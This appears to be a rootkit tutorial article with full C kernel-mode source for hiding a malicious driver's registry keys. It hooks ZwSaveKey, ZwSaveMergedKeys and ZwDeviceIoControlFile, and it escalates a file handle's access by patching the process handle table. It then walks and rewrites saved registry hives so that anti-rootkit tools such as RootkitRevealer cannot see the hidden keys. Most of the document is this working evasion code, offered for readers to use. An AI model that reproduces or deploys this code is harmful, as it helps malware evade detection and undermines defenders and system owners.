How to avoid the detection of hidden regkey by hooking NtSaveKey!

This is all based on EiNSTeiN_'s article https://www.rootkit.com/newsread.php?newsid=272 How to avoid the detection of hidden regkey by hooking RegSaveKeyA, and also the notes from his follow-on board post https://www.rootkit.com/board.php?thread=3245&did=edge272&disp=3245 here. You'll need to be familiar with those posts and the structs they contain to follow the details of the code in this article, but it should be easy to port without having to read the fine details of the original assembly code.

Anyway, EiNSTeiN_ explained most of the important details about how to edit a saved reg hive in his article. I started by porting his code directly to C, because I find it easier to understand and modify like that, and I learnt a few more things about the registry file format which I implemented, and like I said in
https://www.rootkit.com/newsread.php?newsid=410 my earlier article, we can get at the file in kernel-mode by messing with the object table. So here's the finished version of my code. This code hides registry keys from RootkitRevealer, fhs11, khs01, knlsc13, and anything else that tries dumping a registry hive to disk. Don't forget to reinstall your keys after they reload the file once you've censored it, though!

I discovered a few new things about the registry that aren't in the earlier posts. One useful trick is how to mark the data blocks as free when you clear them out. This is important to stop the hive becoming fragmented and full of unreclaimable blocks. The record size entry is normally stored in all the data records in negative format and requires using the REALSIZE macro to decode it. If you set the size to a positive representation instead, the record is marked as free and can be reclaimed by the kernel when the hive is reloaded.

Not all the subkey entries are "lf" entries, either. There are also "li" records, which store only offsets to subkeys but not the 4-character hits, and there are "ri" records, which store an array of pointers to "lf" and/or "li" entries, for really big subkey lists.

The ClassName field in the "nk" (key) record structure sometimes points to a string. This is just a data record like a value, so we should clean it too if we're cleaning the nk that owns it. And the security records are referenced by the nk records, so if we clean an nk, we should decrement the reference count in the sk record it points to (if any). If the sk record then has no references, we should clean and free it too; this requires unlinking it from a doubly-linked list.

In my earlier article, about getting read access to a write-only file in kernel mode, there's a problem with accessing the HANDLE_TABLE structure directly. It changes in various versions of 2k/XP. We can hard-code structure offsets according to OS version, but I prefer not to if possible. Looking for another solution, "dumpbin /exports ntoskrnl.exe" shows an exported function called ExEnumHandleTable, and googling that found me a prototype for this very useful function that enumerates every handle table entry in a handle table, calling a hook function for each one.


typedef BOOLEAN (*EXENUMHANDLETABLECALLBACK) (
    PHANDLE_TABLE_ENTRY   HandleTableEntry,
    HANDLE                Handle,
    PVOID                 Param
);

BOOLEAN ExEnumHandleTable (  
    PHANDLE_TABLE             HandleTable,
    EXENUMHANDLETABLECALLBACK Callback,
    PVOID                     Param,
    PHANDLE                   Handle  OPTIONAL
);


The individual entries are the same on each OS, so that saves us some trouble. We still have to have a hard-coded offset for the location of the pointer to the handle table in the EPROCESS struct, alas. From Valerino's article https://www.rootkit.com/newsread.php?newsid=307 "Avoiding new methods of process detection">, I got the following values:

Windows 2000 = 0x128;
Windows XP = 0xc4;
Windows 2003 = 0xc4;// ?

So, our new code to find a handle table entry looks like this:


ULONG gProcessHandleTableOffset = 0x128;    // Needs to be inited at startup. Sorry :(

PHANDLE_TABLE RkGetHandleTable (PEPROCESS proc)
{
  return *(PHANDLE_TABLE *)(gProcessHandleTableOffset + (PUCHAR)proc);
}

typedef struct _HTE_LOOKUP {
  HANDLE                han;
  PHANDLE_TABLE_ENTRY   hte;
} HTE_LOOKUP, *PHTE_LOOKUP;

static BOOLEAN LookupHandleTableEntryCallback (PHANDLE_TABLE_ENTRY hte, HANDLE han, PVOID arg)
{
  PHTE_LOOKUP data = (PHTE_LOOKUP)arg;
  if (data->han == han)
  {
    data->hte = hte;
    return TRUE;
  }
  return FALSE;
}

static PHANDLE_TABLE_ENTRY RkLookupHandleTableEntry (HANDLE Handle)
{
HTE_LOOKUP lookup;

  lookup.han = Handle;
  lookup.hte = NULL;
  ExEnumHandleTable (RkGetHandleTable (PsGetCurrentProcess ()),
    LookupHandleTableEntryCallback, &lookup, NULL);
  return lookup.hte;
}


Then as before we can look up the handle and alter the access mode before duping a new handle and mapping the file as a section. In the name comparison function below, we have a couple of external definitions needed, which you would use your own equivalents for:


extern WCHAR          hiding_prefixU[];

Contains the name of your service key entry to match and hide. No nul terminator is needed. This is the same as the driver name you'd specify to "net start".


extern unsigned int   hiding_prefix_strlen;

The count, in wide chars, of the name to match; does not count any trailing nul.

The name testing function I use matches a substring at either the start or the end of the registry key, as I want to match both "servicename" and "LEGACY_servicename". You could do this differently if you liked; the only requirement is that the name test function returns zero if the given data and size represent the name of a key that is to be hidden. The entrypoints for cleaning files and in-memory hives pass this callback to the subroutine that does all the real work of parsing and modifying the file.


/* Name-comparison functions first. */
static int regnamecmpA (const char *a, size_t a_len, const char *b, size_t n)
{
  if (a_len < n)
    return -1;

  if (!_strnicmp (a, b, n))
    return 0;

  if ((a_len > n) && !_strnicmp (a + (a_len - n), b, n))
    return 0;

  /* fake.. we only care about matches anyway. */
  return +1;
}

static int rk_name_test (const void *data, int length)
{
  int rv;
  rv = regnamecmpA (data, length, hiding_prefixA, hiding_prefix_strlen);
  return rv;
}

NTSTATUS CensorRegHiveInMemory (PVOID data)
{
  CleanRegistryFile (data, rk_name_test);
  return STATUS_SUCCESS;
}

NTSTATUS CensorRegHive (HANDLE FileHandle)
{
  OBJECT_ATTRIBUTES oa = { sizeof oa, 0, NULL, 0 };
  PVOID viewbase = NULL;
  ULONG viewsize = 0;
  HANDLE readwritehan, sechan;
  NTSTATUS rv;

  /* To censor it, we have to be able to read it! */
  rv = ZwDuplicateObject (NtCurrentProcess (), FileHandle, NtCurrentProcess (),
    &readwritehan, FILE_GENERIC_READ | FILE_GENERIC_WRITE, 0, 0);

  /* If we couldn't get a readwrite handle easily, try it the hard way. */
  if (!NT_SUCCESS (rv))
  {
    PHANDLE_TABLE_ENTRY HandleTableEntry;
    ULONG old_access;

    HandleTableEntry = RkLookupHandleTableEntry (FileHandle);
    if (HandleTableEntry)
    {
      /* Found the entry: add read access temporarily. */
      old_access = HandleTableEntry->GrantedAccess;
      HandleTableEntry->GrantedAccess |= FILE_GENERIC_READ;

      /* Now we should be able to dup it ok. */
      rv = ZwDuplicateObject (NtCurrentProcess (), FileHandle, NtCurrentProcess (),
        &readwritehan, FILE_GENERIC_READ | FILE_GENERIC_WRITE, 0, 0);

      /* Restore old handle to how it was before. */
      HandleTableEntry->GrantedAccess = old_access;
    }
    if (!NT_SUCCESS (rv))
    {
      DbgPrint ("Nope still err $%08x/n", rv);
      return rv;
    }
    /* We did it! Cancel error return. */
    rv = STATUS_SUCCESS;
  }

  /* Ok, we have a write handle to object. Create a section
  for it and use the section to map a file view (then we can
  discard the file handle, as the section will keep it alive
  until we unmap it). */
  rv = ZwCreateSection (&sechan, SECTION_ALL_ACCESS, &oa, 0, PAGE_READWRITE, SEC_COMMIT, readwritehan);
  ZwClose (readwritehan);
  if (!NT_SUCCESS (rv))
  {
    DbgPrint ("Failed to create section $%08x/n", rv);
    return rv;
  }

  /* Map it */
  rv = ZwMapViewOfSection (sechan, NtCurrentProcess (), &viewbase, 0, 0,
    NULL, &viewsize, ViewUnmap, 0, PAGE_READWRITE);
  if (!NT_SUCCESS (rv))
  {
    DbgPrint ("Failed to map section $%08x/n", rv);
    ZwClose (sechan);
    return rv;
  }

  /* Off we go! Censor it! */
  __try {
    DbgPrint ("***MAPPED: Base $%08x->$%08x (size $%08x)/n",
      viewbase, viewsize + (PUCHAR)viewbase, viewsize);
    CensorRegHiveInMemory (viewbase);
  } __except (EXCEPTION_EXECUTE_HANDLER) {
    DbgPrint ("EXCEPTION: CleanRegistryFile $%08x/n", GetExceptionCode ());
  }

  /* Now unmap and close it! */
  rv = ZwUnmapViewOfSection (NtCurrentProcess (), viewbase);
  if (!NT_SUCCESS (rv))
    DbgPrint ("Failed to unmap view $%08x/n", rv);
  ZwClose (sechan);

  /* Return status */
  return STATUS_SUCCESS;
}


This code is called from standard api hooks like so:


NTSTATUS
NTAPI NewZwSaveKey (
  IN HANDLE KeyHandle,
  IN HANDLE FileHandle
)
{
  NTSTATUS rv;

  rv = (OldZwSaveKey) (KeyHandle, FileHandle);
  if (NT_SUCCESS (rv))
  {
    NTSTATUS rv2;
    __try {
      rv2 = CensorRegHive (FileHandle);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}

NTSTATUS
NTAPI NewZwSaveMergedKeys (
  IN HANDLE KeyHandle1,
  IN HANDLE KeyHandle2,
  IN HANDLE FileHandle
)
{
  NTSTATUS rv;

  rv = (OldZwSaveMergedKeys) (KeyHandle1, KeyHandle2, FileHandle);
  if (NT_SUCCESS (rv))
  {
    NTSTATUS rv2;
    __try {
      rv2 = CensorRegHive (FileHandle);
    } __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}


And if you want to defeat knlsc13.exe, you hook ZwDeviceIoControlFile, like so:


NTSTATUS
NTAPI NewZwDeviceIoControlFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    IN ULONG DeviceIoControlCode,
    IN PVOID InBuffer OPTIONAL,
    IN ULONG InBufferLength,
    OUT PVOID OutBuffer OPTIONAL,
    IN ULONG OutBufferLength
)
{
  NTSTATUS rv, rv2;

  rv = (*OldZwDeviceIoControlFile)(hFile, hEvent, IoApcRoutine, IoApcContext,
    pIoStatusBlock, DeviceIoControlCode, InBuffer, InBufferLength, OutBuffer,
    OutBufferLength);
  if (DeviceIoControlCode == 0x22265a)
  {
    // It is knlsc13.exe! Almost certainly! We should
    // perhaps verify the device name too??
    __try {
      rv2 = CensorRegHiveInMemory (OutBuffer);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
      rv2 = GetExceptionCode ();
    }
    if (!NT_SUCCESS (rv2))
      DbgPrint ("reg censored: $%08x/n", rv2);
  }
  return rv;
}


Now for the good stuff: the code to walk and clean the registry hive. First we've got a huge list of structs and prototypes that you'd want to put in a header file somewhere.


// Here are some structs from EiNSTeiN's posts. Forward declare it all first.

typedef struct _REGF_BLOCK  REGF_BLOCK,   *PREGF_BLOCK;
typedef struct _HBIN_BLOCK  HBIN_BLOCK,   *PHBIN_BLOCK;
typedef struct _NK_RECORD   NK_RECORD,    *PNK_RECORD;
typedef struct _LF_RECORD   LF_RECORD,    *PLF_RECORD;
typedef struct _LI_RECORD   LI_RECORD,    *PLI_RECORD;
typedef struct _RI_RECORD   RI_RECORD,    *PRI_RECORD;
typedef struct _INDEX_RECORD  INDEX_RECORD, *PINDEX_RECORD;
typedef struct _LF_ENTRY    LF_ENTRY,     *PLF_ENTRY;
typedef struct _VALUE_LIST  VALUE_LIST,   *PVALUE_LIST;
typedef struct _VK_RECORD   VK_RECORD,    *PVK_RECORD;
typedef struct _DATA_RECORD DATA_RECORD,  *PDATA_RECORD;
typedef struct _SK_RECORD   SK_RECORD,    *PSK_RECORD;

#pragma pack(4)
typedef struct _NK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //should be nk (0x6B6E)
/*006*/ WORD          KeyFlag; // 2Ch for the root key (the first key after the first header), for all other 20h
/*008*/ QWORD         LastModifiedDate;
/*010*/ DWORD         unk10;
/*014*/ PNK_RECORD    ParentKey_offset; //relative to the first hbin block
/*018*/ DWORD         NumberOfSubKeys; //number of key in the lf-record
/*01C*/ DWORD         unk1C;
/*020*/ union {
/*020*/   PINDEX_RECORD IndexRecord_offset;  //relative to the first hbin block
/*020*/   PLF_RECORD    LfRecord_offset;  //relative to the first hbin block
/*020*/   PLI_RECORD    LiRecord_offset;  //relative to the first hbin block
/*020*/   PRI_RECORD    RiRecord_offset;  //relative to the first hbin block
/*020*/ };
/*024*/ DWORD         unk24;
/*028*/ DWORD         NumberOfValues; //number of values in the value-list
/*02C*/ PVALUE_LIST   ValueList_offset; //relative to the first hbin block
/*030*/ PSK_RECORD    SkRecord_offset; //relative to the first hbin block
/*034*/ PDATA_RECORD  ClassName_offset; //relative to the first hbin block
/*038*/ DWORD         unk38;
/*03C*/ DWORD         unk3C;
/*040*/ DWORD         unk40;
/*044*/ DWORD         unk44;
/*048*/ DWORD         unk48;
/*04C*/ WORD          NameLength;
/*04E*/ WORD          ClassNameLength;
/*050*/ WCHAR         Name[1];    //see NameLength to know the size
                      //the name is stored in ASCII form but doesn't alway terminate by 0x00
} NK_RECORD, *PNK_RECORD;
#pragma pack()

//the size of this block is 20h and is followed by the hive root-key
#pragma pack(4)
typedef struct _HBIN_BLOCK {
/*000*/ DWORD        Header;    //must be hbin (0x6E696268)
/*004*/ DWORD        ToPreviousBlock; //offset of this block - this value = offset of the previous block, should be 0 for the first block
/*008*/ DWORD        ToNextBlock; //offset to the next block, should be 0 for the last block
/*00C*/ DWORD        unkC;
/*010*/ DWORD        unk10;
/*014*/ DWORD        unk14;
/*018*/ DWORD        unk18;
/*01c*/ DWORD        unk1c;
/*020*/ NK_RECORD    RootNkRecord;
} HBIN_BLOCK, *PHBIN_BLOCK;
#pragma pack()

#pragma pack(4)
//the size of this block is alway 1000h (4096.) and is followed by a HBIN block
typedef struct _REGF_BLOCK {
/*0000*/ DWORD        Header; //must be regf (0x66676572)
/*0004*/ DWORD        unk4;
/*0008*/ DWORD        unk8;
/*000C*/ QWORD        LastModifiedDate;
/*0010*/ /*DWORD        unk10; no this is part of previous qword! */
/*0014*/ DWORD        dw14; //alway 1
/*0018*/ DWORD        dw18; //alway 3
/*001C*/ DWORD        dw1C; //alway 0
/*0020*/ DWORD        dw20; //alway 1
/*0024*/ DWORD        FirstKey; //offset of first key (must be 20h)
/*0028*/ DWORD        DataBlocksSize; // size of the file - size of this block
/*002C*/ char         Padding[4052]; //the rest is not important
/*1000*/ HBIN_BLOCK   FirstHbinBlock;
} REGF_BLOCK, *PREGF_BLOCK;
#pragma pack()

typedef struct _LF_ENTRY {
/*000*/ PNK_RECORD    NkRecord_offset; //relative to the first hbin block
/*004*/ union {
/*004*/   CHAR          NkRecord_hint[4]; //this is the 4 first letters of the key name
/*004*/   DWORD         Checksum; //this is the 4 first letters of the key name
/*004*/ };
} LF_ENTRY, *PLF_ENTRY;

typedef struct _LF_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be lf (0x666C)
/*006*/ WORD          NumberOfKeys; //number of keys in the record
/*008*/ LF_ENTRY      LfEntrys[1]; //this array have a size of 'NumberOfKeys'
} LF_RECORD, *PLF_RECORD;

typedef struct _LI_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be li (0x696C)
/*006*/ WORD          NumberOfKeys; //number of keys in the record
/*008*/ PNK_RECORD    LiEntrys[1]; //this array have a size of 'NumberOfKeys'
} LI_RECORD, *PLI_RECORD;

// An RI record is a list of offsets to LI or LF indexes when a
// key has so many subkeys that it needs two layers of indexing.
typedef struct _RI_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be ri (0x6972)
/*006*/ WORD          NumberOfRecords; //number of keys in the record
/*008*/ union {
/*008*/   PINDEX_RECORD IndexEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/   PLI_RECORD    LiEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/   PLF_RECORD    LfEntrys[1]; //this array have a size of 'NumberOfRecords'
/*008*/ };
} RI_RECORD, *PRI_RECORD;

// This represents the common part of all three index record types. Although
// we don't strictly need it, it makes the code nicer and more robust.
typedef struct _INDEX_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be li (0x696C), ri (0x6972), or lf (0x666C)
/*006*/ WORD          NumberOfItems; //number of keys or subrecords in the record
} INDEX_RECORD, *PINDEX_RECORD;

typedef struct _VALUE_LIST {
/*000*/ DWORD         ListSize; //stored in negative form, see the REALSIZE macro
/*004*/ PVK_RECORD    VkRecords_offset[1]; //offset relative to the first hbin block
                      //this array has the size of NumberOfValues field in the owner-nk record
} VALUE_LIST, *PVALUE_LIST;

//if the size of value is lower or equal to a DWORD size
//the data is stored in the DataRecord_offset field itself
//instead of an offset, and bit31 of length is set to 1.
typedef struct _VK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be vk (0x6B76)
/*006*/ WORD          NameLength; //length of the Name[] field
/*008*/ DWORD         DataLength; //length of the data in the data block
/*00C*/ PDATA_RECORD  DataRecord_offset; //offset relative to the first hbin block
/*010*/ DWORD         ValueType; //see the comments below
/*014*/ WORD          Flag;
/*016*/ WORD          unk16;
/*018*/ WCHAR         Name[1]; //stored in UNICODE or ASCII form but doesn't alway terminate by 0x00
} VK_RECORD, *PVK_RECORD;

typedef struct _DATA_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ BYTE          Data[1]; //this field has a size of DataLength of the owner-vk record
} DATA_RECORD, *PDATA_RECORD;

typedef struct _SK_RECORD {
/*000*/ DWORD         RecordSize; //stored in negative form, see the REALSIZE macro
/*004*/ WORD          Header; //must be sk (0x6B73)
/*006*/ WORD          unk6;
/*008*/ PSK_RECORD    LastRecord_offset; //relative to the first hbin block
/*00C*/ PSK_RECORD    NextRecord_offset; //relative to the first hbin block
/*010*/ DWORD         UsageCounter; //number of key by wich this block is referenced
/*014*/ DWORD         SizeOfSettings; //size of the following field
/*018*/ BYTE          Settings[1];
} SK_RECORD, *PSK_RECORD;

//REALSIZE - return a positive size from a negative one
#define REALSIZE(x)               ((~(x)) + 1)
#define VALUE_DATA_IN_OFFSET_FLAG (0x80000000)
#define DATA_IN_VK_RECORD(vk)     ((vk)->DataLength & VALUE_DATA_IN_OFFSET_FLAG)
#define REAL_VK_DATA_SIZE(vk)     ((vk)->DataLength & ~VALUE_DATA_IN_OFFSET_FLAG)
#define HBIN_REL(type, offs)      ((type *)(((DWORD)(offs)) + (DWORD)hbin))
#define VALID_HBIN_OFFSET(offs)   ((offs) && ~(DWORD)(offs))
#define HBIN_REL_SIZECHECK(addr)  ((((DWORD)(addr)) - ((DWORD)data)) >= total_size)
#define HBIN_OFFS(ptr)            (((DWORD)(ptr)) - ((DWORD)hbin))

typedef int (*PCLEAN_NAME_TEST)(const void *data, int length);


Then a bunch of helper subroutines. Each one of these is dedicated to cleaning one of the structs we have defined above. Most of them are simple, but if there are any complications to cleaning a struct they hide it; for example, CleanVK knows that the data in a VK record is only sometimes stored in a DATA_RECORD but at other times stored in the DataRecord_offset field itself. CleanNK knows to clean the class name string and to decrement the usage count on the security descriptor and clean it also if the count is now zero, and CleanSK knows to unlink a security descriptor from the linkedlist before cleaning and freeing it.


static __inline void CleanDataRecord (PDATA_RECORD dr)
{
  DWORD size;

  size = REALSIZE (dr->RecordSize);
  memset (dr, 0, size);
  /* Replace size with positive to mark free. */
  dr->RecordSize = size;
}

static __inline void CleanVL (PVALUE_LIST vl)
{
  DWORD size;

  size = REALSIZE (vl->ListSize);
  memset (vl, 0, size);
  /* Replace size with positive to mark free. */
  vl->ListSize = size;
}

static __inline void CleanLI (PLI_RECORD li)
{
  DWORD size;

  size = REALSIZE (li->RecordSize);
  memset (li, 0, size);
  /* Replace size with positive to mark free. */
  li->RecordSize = size;
}

static __inline void CleanLF (PLF_RECORD lf)
{
  DWORD size;

  size = REALSIZE (lf->RecordSize);
  memset (lf, 0, size);
  /* Replace size with positive to mark free. */
  lf->RecordSize = size;
}

static __inline void CleanRI (PRI_RECORD ri)
{
  DWORD size;

  size = REALSIZE (ri->RecordSize);
  memset (ri, 0, size);
  /* Replace size with positive to mark free. */
  ri->RecordSize = size;
}

static void CleanVK (PVK_RECORD vk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (vk->RecordSize);
  if (vk->Header != 'kv')
  {
    DbgPrint ("GIMLET! $%08x $%04x /n", vk, vk->Header);
    return;
  }
  if (!DATA_IN_VK_RECORD (vk) && VALID_HBIN_OFFSET (vk->DataRecord_offset))
  {
    CleanDataRecord (HBIN_REL (DATA_RECORD, vk->DataRecord_offset));
  }
  memset (vk, 0, size);
  /* Replace size with positive to mark free. */
  vk->RecordSize = size;
}

static void CleanSK (PSK_RECORD sk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (sk->RecordSize);
  /* We must unlink it from the list. */
  if (VALID_HBIN_OFFSET (sk->NextRecord_offset))
  {
    PSK_RECORD next = HBIN_REL (SK_RECORD, sk->NextRecord_offset);
    next->LastRecord_offset = sk->LastRecord_offset;
  }
  if (VALID_HBIN_OFFSET (sk->LastRecord_offset))
  {
    PSK_RECORD last = HBIN_REL (SK_RECORD, sk->LastRecord_offset);
    last->NextRecord_offset = sk->NextRecord_offset;
  }
  memset (sk, 0, size);
  /* Replace size with positive to mark free. */
  sk->RecordSize = size;
}

static void CleanNK (PNK_RECORD nk, PHBIN_BLOCK hbin)
{
  DWORD size;

  size = REALSIZE (nk->RecordSize);
  if (nk->Header != 'kn')
  {
    DbgPrint ("BADGER1! $%08x $%04x /n", nk, nk->Header);
    return;
  }
  /* clean class name string if any. */
  if (nk->ClassNameLength && VALID_HBIN_OFFSET (nk->ClassName_offset))
  {
    CleanDataRecord (HBIN_REL (DATA_RECORD, nk->ClassName_offset));
  }
  /* dec sd ref cnt (if sd present) */
  if (VALID_HBIN_OFFSET (nk->SkRecord_offset))
  {
    PSK_RECORD sk = HBIN_REL (SK_RECORD, nk->SkRecord_offset);
    --sk->UsageCounter;
    /* If now unused, clean it */
    if (!sk->UsageCounter)
    {
      CleanSK (sk, hbin);
    }
  }

  /* values and subkey indices already cleared.  */
  memset (nk, 0, size);
  /* Replace size with positive to mark free. */
  nk->RecordSize = size;
  /* Woot! */
}


These little functions are just the final wrappers around the code that does all the work:


static void WalkHBinRootkey (PHBIN_BLOCK cur_hbin, PHBIN_BLOCK hbin, PCLEAN_NAME_TEST name_test)
{
  PNK_RECORD nk;

  nk = &cur_hbin->RootNkRecord;
  DbgPrint ("Ok, base hbin $%08x, current one $%08x so rootkey at $%08x/n",
    hbin, cur_hbin, nk);
  WalkKeyTree (nk, hbin, name_test, FALSE);
  DbgPrint ("Tree done!*****/n");
}

/* Map a view of a registry file, pass the base pointer to this. */
static void CleanRegistryFile (void *data, PCLEAN_NAME_TEST name_test)
{
  PREGF_BLOCK regf = (PREGF_BLOCK) data;
  PHBIN_BLOCK hbin = &regf->FirstHbinBlock;

  if (regf->Header != 'fger')
  {
    DbgPrint ("BADGER2! $%08x $%08x /n", regf, regf->Header);
    return;
  }
  WalkHBinRootkey (HBIN_REL (HBIN_BLOCK, 0), hbin, name_test);
  return;
}


So here it is. WalkKeyTree recurses down the tree of keys in the hive, looking for keys to be hidden. When it finds one, it recursively cleans out all its subkeys, wipes its values, and cleans the key itself. It also has to remove the key from the index that it was found in, as otherwise the parent key will still have an entry pointing to a bogus address.


static void WalkKeyTree (PNK_RECORD nk, PHBIN_BLOCK hbin, PCLEAN_NAME_TEST name_test, char do_clean)
{
  DWORD size = REALSIZE (nk->RecordSize);

  if (nk->Header != 'kn')
  {
    DbgPrint ("BADGER1b! $%08x $%04x /n", nk, nk->Header);
    return;
  }

  /* If offset to value list is not valid we have no values to clear.  */
  if (do_clean && VALID_HBIN_OFFSET (nk->ValueList_offset))
  {
    DWORD n, size;
    PVALUE_LIST vl = HBIN_REL (VALUE_LIST, nk->ValueList_offset);
    size = REALSIZE(vl->ListSize);
    for (n = 0; n < nk->NumberOfValues; n++)
    {
      if (VALID_HBIN_OFFSET (vl->VkRecords_offset[n]))
      {
        PVK_RECORD vk = HBIN_REL (VK_RECORD, vl->VkRecords_offset[n]);
        /* clean vk and data record */
        CleanVK (vk, hbin);
      }
    }
    /* clean vl */
    CleanVL (vl);
  }

  if (VALID_HBIN_OFFSET (nk->IndexRecord_offset))
  {
    PINDEX_RECORD index = HBIN_REL (INDEX_RECORD, nk->IndexRecord_offset);
    RI_RECORD temp_ri;
    PRI_RECORD ri;
    char clean_ri = FALSE;
    DWORD rec;
    /* we must check the sig. if it is an ri we have to iterate
     across multiple li or lf records, otherwise we give ourselves
     a fake ri with one entry to the single lf/li for simplicity. */
    if (index->Header == 'ir')
    {
      ri = (PRI_RECORD)index; /* that's what we want! */
    }
    else
    {
      /* build a fake one! */
      temp_ri.Header = 'ir';
      temp_ri.RecordSize = 0;
      temp_ri.NumberOfRecords = 1;
      /* oops! */
      /*temp_ri.IndexEntrys[0] = index;*/
      /* not that easy! We must make it hbin-relative!*/
      temp_ri.IndexEntrys[0] = (PINDEX_RECORD) HBIN_OFFS (index);
      /* sanity check */
      if ((index->Header != 'il') && (index->Header != 'fl'))
      {
        DbgPrint ("BAD INDEX $%04x/n", index->Header);
        temp_ri.NumberOfRecords = 0;
      }
      ri = &temp_ri;
    }

    /* What are we waiting for? Let's go! */
    for (rec = 0; rec < ri->NumberOfRecords; rec++)
    {
      DWORD n, size;
      char collapse_ri = FALSE;
      PINDEX_RECORD index;

      /* check for safety.*/
      if (!VALID_HBIN_OFFSET (ri->IndexEntrys[rec]))
      {
        DbgPrint ("BADGER9 $%08x/n", ri->IndexEntrys[rec]);
        continue;
      }

      index = HBIN_REL (INDEX_RECORD, ri->IndexEntrys[rec]);
      if (index->Header == 'il')
      {
        PLI_RECORD li = HBIN_REL (LI_RECORD, ri->LiEntrys[rec]);
        char clean_li = FALSE;
        size = REALSIZE(li->RecordSize);

        for (n = 0; n < li->NumberOfKeys; n++)
        {
          char clean_this;
          if (VALID_HBIN_OFFSET (li->LiEntrys[n]))
          {
            PNK_RECORD subk = HBIN_REL (NK_RECORD, li->LiEntrys[n]);
            /* Do we want to destroy this key? */
            clean_this = do_clean || !(*name_test)(&subk->Name[0], subk->NameLength);
            /* now check/clean sub keys. */
            WalkKeyTree (subk, hbin, name_test, clean_this);
            if (clean_this && (clean_this != do_clean))
            {
              /* ok, we must compact the index. Is it going to be
               easier to do each match or save all for end? May as
               well do it all in one go as we unlikely to hide more
               than one subkey of any given key most of the time.

               we want to shuffle down all subsequent entries. if the
               list has only 1 entry we delete it altogether. finally
               we decrement the num subkeys in the master.

               and we might need to collapse the ri list as well. */
              nk->NumberOfSubKeys--;
              li->NumberOfKeys--;
              if (!li->NumberOfKeys)
              {
                /* remove li from ri and clean it. adjust outer loop. or
                 simpler, just clean li and signal outer (ri) loop to remove it.*/
                clean_li = TRUE;
                collapse_ri = TRUE;
              }
              else
              {
                if (n < li->NumberOfKeys)
                  RtlMoveMemory (&li->LiEntrys[n], &li->LiEntrys[n + 1],
                    (li->NumberOfKeys - n) * sizeof (PNK_RECORD));
                /* reset inner loop */
                --n;
              }
            };  /* if (we delete subkey n but not entire parent key) */
          };  /* if (entry n is valid) */
        };  /* end of inner (for n = num keys) loop */
        if (clean_li || do_clean)
        {
          /* clean il */
          CleanLI (li);
        }
      }
      else if (index->Header == 'fl')
      {
        PLF_RECORD lf = HBIN_REL (LF_RECORD, ri->LfEntrys[rec]);
        char clean_lf = FALSE;
        size = REALSIZE(lf->RecordSize);

        for (n = 0; n < lf->NumberOfKeys; n++)
        {
          char clean_this;
          if (VALID_HBIN_OFFSET (lf->LfEntrys[n].NkRecord_offset))
          {
            PNK_RECORD subk = HBIN_REL (NK_RECORD, lf->LfEntrys[n].NkRecord_offset);
            /* Do we want to destroy this key? */
            clean_this = do_clean || !(*name_test)(&subk->Name[0], subk->NameLength);
            /* now check/clean sub keys. */
            WalkKeyTree (subk, hbin, name_test, clean_this);
            if (clean_this && (clean_this != do_clean))
            {
              /* ok, we must compact the index (indexes). */
              nk->NumberOfSubKeys--;
              lf->NumberOfKeys--;
              if (!lf->NumberOfKeys)
              {
                /* clean li and signal outer (ri) loop to remove it. */
                clean_lf = TRUE;
                collapse_ri = TRUE;
                /* we are about to exit inner loop anyway. */
              }
              else
              {
                if (n < lf->NumberOfKeys)
                  RtlMoveMemory (&lf->LfEntrys[n], &lf->LfEntrys[n + 1],
                    (lf->NumberOfKeys - n) * sizeof (LF_ENTRY));
                /* reset inner loop */
                --n;
              }
            };  /* if (we delete subkey n but not entire parent key) */
          };  /* if (entry n is valid) */
        };  /* end of inner (for n = num keys) loop */
        if (clean_lf || do_clean)
        {
          /* clean fl */
          CleanLF (lf);
        }
      }
      else
      {
        DbgPrint ("OH NO! WHAT?/n");
      }
      /* ok: do we collapse the ri becuase the current entry (#rec)
       has no subkey entries any more after we deleted them? */
      if (collapse_ri)
      {
        --ri->NumberOfRecords;
        if (!ri->NumberOfRecords)
        {
          clean_ri = TRUE;
        }
        else
        {
          /* this won't ever happen for fake temp ri with one entry. */
          if (rec < ri->NumberOfRecords)
            RtlMoveMemory (&ri->IndexEntrys[rec], &ri->IndexEntrys[rec + 1],
              (ri->NumberOfRecords - rec) * sizeof (PINDEX_RECORD));
          /* reset outer loop */
          --rec;
        }
      };  /* end of (if we needed to remove an entire index from the ri */
    };  /* end of (for all records in ri) */
    if (clean_ri || do_clean)
    {
      /* clean ri if not temp fake */
      if (ri->RecordSize)
        CleanRI (ri);
      /* if we have removed entire ri/temp fake, remove ptr to it.
       don't bother if about to clean entire nk record anyway. */
      if (clean_ri && !do_clean)
      {
        /* we have cleaned all subkeys but not parent itself */
        nk->IndexRecord_offset = 0;
      }
    }
  }
  if (do_clean)
  {
    /* clean nk itself */
    CleanNK (nk, hbin);
  }
  /* Woot! */
}


